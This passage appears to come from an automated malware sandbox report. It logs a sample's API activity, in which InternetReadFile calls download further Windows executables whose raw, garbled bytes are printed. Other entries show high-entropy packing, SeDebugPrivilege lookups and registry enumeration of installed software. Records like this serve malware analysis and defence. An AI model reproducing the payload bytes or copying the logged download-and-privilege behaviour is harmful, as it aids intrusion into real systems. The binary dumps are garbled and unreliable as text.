ZÛtVtÕÉ`__ÓÙ`__ÛVÕÙ`__Ù`__^^^^sOÓÑ`__Û]ÕÑ`__ÓÉ`__#É`__áÓÙ`__O§VeRÛ}[ê)ÓÉ`__O§\9_O^^ÓÑ`__ÓJ][É`__ÓÙ`__O§VÝ}_O^^ÓÙ`__ÕJVÓÑ`__Û\ÕÑ`__sÒÓÉ`__ÓÙ`__[ZÕÙ`__ÓÑ`__ÕÑ`__uG___Ýg^^^O¤Ô^^^8Ý`^^^OÛâ^^^O9h^^^OOOÝÕ^^^ÛvõÛXOÝxj^^^gpgvÝ§^^^Û{g à^^^gÛ~öÛ:£S^^^gpÛKæÛgtÝ¤^^^OÓ jÓf[ÜÞ^^^ÕzÙ`__^^^^sOÓÑ`__Û]ÕÑ`__ÓÉ`__óJÓzÛâNN^OÚO]^^ÓÑ`__óJÓ zÓf[TRÕÙª`__ÓÑª`__ _IF~^ÕÙ¢`__Û¡¢`__^é\s»ÓÉ`__óJÓzÓf[NNÕÑ¦`__Ù®`__^^^^sOÓÉ®`__Û]ÕÉ®`__ÓÙ®`__ÓÑ¦`__Û"Ý^OÚÕ^^^ÓÉ®`__ÓÙ¦`__Óf[RÎÕÑ¶`__ÓÉ®`__ÓÙ¦`__O§RÎ ÓÉ¢`___IJ~^ÕÙ²`__Û¡²`__^éAÓÙ¶`__Û\ÓÑ¢`__ _IJ~^ÕÙ²`_ request_handle: 0x00cc000c	1	1
InternetReadFile June 26, 2023, 7:42 a.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $º`DÛLDÛLDÛLZLUÛLZLÛLZLnÛLcuL@ÛLÔSLGÛLDÛLÛLM£LEÛLZLEÛLM£LEÛLRichDÛLPELÂdà ÄAà@ÄP¨Ä/à@.textÂÄ `.rdataô-à.È@@.data,äÈö@À.rsrc¨¾@@Uì¸Ju]ÃÌÌÌÌÌÌUìSVWÃÏÎï§Ëâ;÷ïÁß¶ËÁÃq÷ÞÁÖ©÷ê÷Û÷×Ï'Á×¦÷ëÞÿÈRÁÓÁ×Ú÷Ð÷×JÆQÁÃÒÎ÷ØÁÏ0ÁÂÃÁÓXÈÁÂÞKë÷ëFHïË÷ÖÈÊC÷Ø÷ïÁÎ{È@3É3ÿ@À ÷ëâ FÆê@ã\|ÁßÁßÎÁÚ0ÊÞ°÷ë÷ÖÈC÷èÁÞé÷êãmFËÎ÷Òç^÷ÐÁ×l%Ëï¢FGÁÖ÷ÁÞJÁË&HÁÈÁÈ¶G÷ÛJB%ºÞ÷÷è÷ß÷Ð»oCMN÷ÓF@ÁÏ×ÎËC÷ïÆ©¾®H÷ÓëtîS÷ëÁÈÆÁÇîCêÈÂ0OGÁÐ}æ7ãÊÚOØ;÷ë÷ÐºÙ÷êÏ÷êFêÀ+ÁÀ·÷ÒF÷ïÂsÏ÷Ú÷×÷ï÷ëë}ö^þGâö_^[]ÃÌÌÌÌÌÌÌÌÌUìSVWÞÅßKæPG÷ëOÁÛn¸a¾÷îØHK÷ÓïýÁÐXÊ¾çN÷Ø÷è÷ÐÁÎlëBÛ§Û÷ÖºÆãO÷ßËïdÁÇJ÷è@º¿ÆuÏÁÞKÞ¯B÷ëãQçN÷Ò3É3ÿËG÷ÓÁÏMÊ/÷ØÁÇê÷ÞÁÎmCæH»3NKK÷×»÷ëÏwÁÒÞÁÐ^È]÷êÁÃ¿éÆñHBÁßù÷ßÃïÆzÇåCÀ+÷ÖÁÞº9ËN¸wC÷×Böî`ÁÚ ÏÁÏdßúMÇ°ÆíÁÖÝKGÁÊNïÚÁÛB÷ëÁËæÇøÊBâ}C÷èGÁÎ¶GêêK÷ÓËÁÛ¿ÁÃÕ-÷ÖJÏ÷èNÁÇ÷×ÁÃÏÁÛï{GÏLÁÞÖB@êzº$Áßg÷èÏ¼ÁÃÜÛ5÷Ó}ö^þGâö_^[]ÃÌ ÓrÝr ]^^ö^¦X^öVN^véb__ÛVÝxÅ^^^gggÛt<ÝoÌ^^^ÛsQgp gÛþÝp^^^Ý^^^rgsgÛ[OgOÝt^^^OÛöOHgAf^^^1Ô^^^gpÛggOÝ^^^g¤º^^^¤gÛpgÖ à^^^gvÓVÕÒÓÒÓ V[ "Õ ÓÝ&^^êT¦]^^^u R^^OgogvÛ~Yggt[g^Ý{^^^Ûïg9y^^^gÛÝxÏ^^^ÛRO¦Û1Û{Ýw«^^^¦L^^^ÄÃÛtBg¦Æ^^^ëXgÛ+gÛàÝÎ^^^Ýd^^^Û6ÓÓÍ¾^^^ÓÝº^^^Õ ®ÕªÛáª^êRÙ²`__^^^^sRÓÓ ÕÉ²`__ôZö^.^^ÓÓ ÓÉ²`___IB~^ÕÛáª^éIÓÓ#êT¦\^^^uS^^9f^^^ËÛ~IdggsQ¨^^^Û 1~gogggY»^^^gsgoÝxÌ^^^Am^^^Ý¦^^^¤W^^^BÁg¢ggÛÄÝÀ^^^g³)gÛwö^Z^^Ó VÓvkA^^ÛRvCd__!å ^^é7#[_#+;öÎ}^ÑÑî___v¶L^^ÑÑî___vL^^vve__!^^OÙÙ^^^ve__!ø^^éve__!îa^^é/ÓÛ{^ÎÛ~^Ù#Ù+3öª}^ÑÑB___v L^^ÑÑB___vØL^^;Ù3ö}^ÑÑ&___v.L^^ÑÑ&___vùL^^3ö~}^ÑÑ ___vKL^^ÑÑ ___vL^^ör}^Ñ~vcM^^ve__!¤ï^^éSÛk^#3#;v/e__!?º^^év;e__!^^é+Û~^;+[33#ÓÎÙ3ö^\|^ÑÑ^___vºM^^ÑÑ^___vM^^Û~^_¦^^^^;Ùö>\|^ÑÊváM^^vf__!J^^é6v¢f__!ý5]^éH;_Ù3;Ù_~+¦^^^^Î#[ÓO§ JÓÑNFÕÙb`__^^^^sOÓÉb`__Û]ÕÉb`__ÓO§X%Ñb`__áÓÉb`__ó6ÓÓNN ÓÉb`__ó6ÓÓV[NJ ÓÉb`__ó6ÓÓ[NR vnC^^ÛRs¿gÑ^^^ÝÇ^^^OQx^^^gÙggOìQ¨^^^OgOg ì^^^AggÛ{¹O¶Ý^^^ÝÀ^^^BgÝt¾^^^^^^ñg "^^^gpX1Î^^^¶MÓ Ó#OÚP]^^ÓÓ 3 ÕÉj`__Ó[®ÕÙf`__Ùn`__^^^^ÓÑn`__#ªOÛ^^^ÓÉf`__Ó[\ÕÙr`__ÓÑf`__Ó ZÛtVtÕÉv`__ÓÙf`__ÛVÕÙz`__Ù~`__^^^^sOÓÑ~`__Û]ÕÑ~`__ÓÉ~`__#Év`__áÓÙz`__O§VeRÛ}[ê)ÓÉz`__O§\9_O^^ÓÑr`__ÓJ][Éj`__ÓÙz`__O§VÝ}_O^^ÓÙr`__ÕJVÓÑz`__Û\ÕÑz`__sÒÓÉf`__ÓÙn`__[ZÕÙn`__ÓÑz`__ÕÑf`__uG___g÷^^^gÛYÝ´^^^ÛtM9^^^Ýx^^^gòQ^^^úggsÌÝx^^^ÊgOgtgpgg6O¦s^^^sgsÝt^^^OOÛgÝw^^^Og·Ó Ó[ÜÞ^^^ÕÙ`__^^^^sOÓÑ`__Û]ÕÑ`__ÓÉ`__óJÓÛâNN^OÚO]^^ÓÑ`__óJÓ Ó[TRÕÙ`__ÓÑ`__ _IF~^ÕÙ`__Û¡`__^é\s»ÓÉ`__óJÓÓ[NNÕÑ`__Ù`__^^^^sOÓÉ`__Û]ÕÉ`__ÓÙ`__ÓÑ`__Û"Ý^OÚÕ^^^ÓÉ`__ÓÙ`__Ó[RÎÕÑ`__ÓÉ`__ÓÙ`__O§RÎ ÓÉ`___IJ~^ÕÙ`__Û¡`__^éAÓÙ`__Û\ÓÑ`__ _IJ~^ÕÙ`__ÓÉ`__óJÓÓ[NNÓÉ`__ÓÙ`__ÕZÍu___u`__gp >^^^gÝxa^^^Ýxb^^^Ý^^^Û%g gvùgtgvîgtÝv^^^Û*ggÛáÝÑ^^^´gpgpÝ´^^^gÛwZgvÛ~çÛ~3Ýx°^^^OgvÝÇ^^^ØOgsgvÙ`__^^^^sO request_handle: 0x00cc000c	1	1
InternetReadFile June 26, 2023, 7:43 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPELOdà!Þ>ð°@ J<K<øT ?p?@ð,.textVÝÞ `.rdataîaðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌj8hÌ<¹hè#h`êèlYÃÌÌÌj8hÌ<¹ hèÿ"hÀêèLYÃÌÌÌj8hÌ<¹¸hèß"h ëè,YÃÌÌÌj8h=¹Ðhè¿"hëè*YÃÌÌÌj0hD=¹èhè"hàëèì)YÃÌÌÌj0hx=¹iè"h@ìèÌ)YÃÌÌÌhh°=¹iè\"h ìè©)YÃj?h>¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhJEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾8>Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÀ>ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hÄ>MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0006c600', u'virtual_address': u'0x00011000', u'entropy': 7.777636373706659, u'name': u'.data', u'virtual_size': u'0x0006e22c'}

entropy

7.77763637371

description

A section with a high entropy has been found

entropy

0.875757575758

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (6 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW June 26, 2023, 7:42 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 26, 2023, 7:42 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 26, 2023, 7:43 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 26, 2023, 7:42 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 26, 2023, 7:43 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 26, 2023, 7:43 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Queries for potentially installed applications (50 out of 153 events)

Time & API	Arguments	Status
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000002d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: 7-Zip base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: AddressBook base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: Adobe AIR base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: Connection Manager base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: DirectDrawEx base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: EditPlus base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: Fontcore base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: Google Chrome base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: IE40 base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: IE4Data base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: IE5BAKEX base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: IEData base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: MobileOptionPack base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: Mozilla Thunderbird 78.4.0 (x86 ko) base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: Office15.PROPLUSR base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: SchedulingAgent base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: WIC base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {00203668-8170-44A0-BE44-B632FA4D780F} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {26A24AE4-039D-4CA4-87B4-2F32180131F0} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {4A03706F-666A-4037-7777-5F2748764D10} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-0015-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-0016-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-0018-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-0019-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-001A-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-001B-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-001F-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-001F-040C-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-001F-0C0A-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-002C-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-0044-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-006E-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-0090-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-00A1-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-00BA-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-00E1-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-00E2-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-0115-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-0117-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 26, 2023, 7:42 a.m.	regkey_r: {90150000-012B-0409-0000-0000000FF1CE} base_handle: 0x000002d0 key_handle: 0x000003cc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}	1
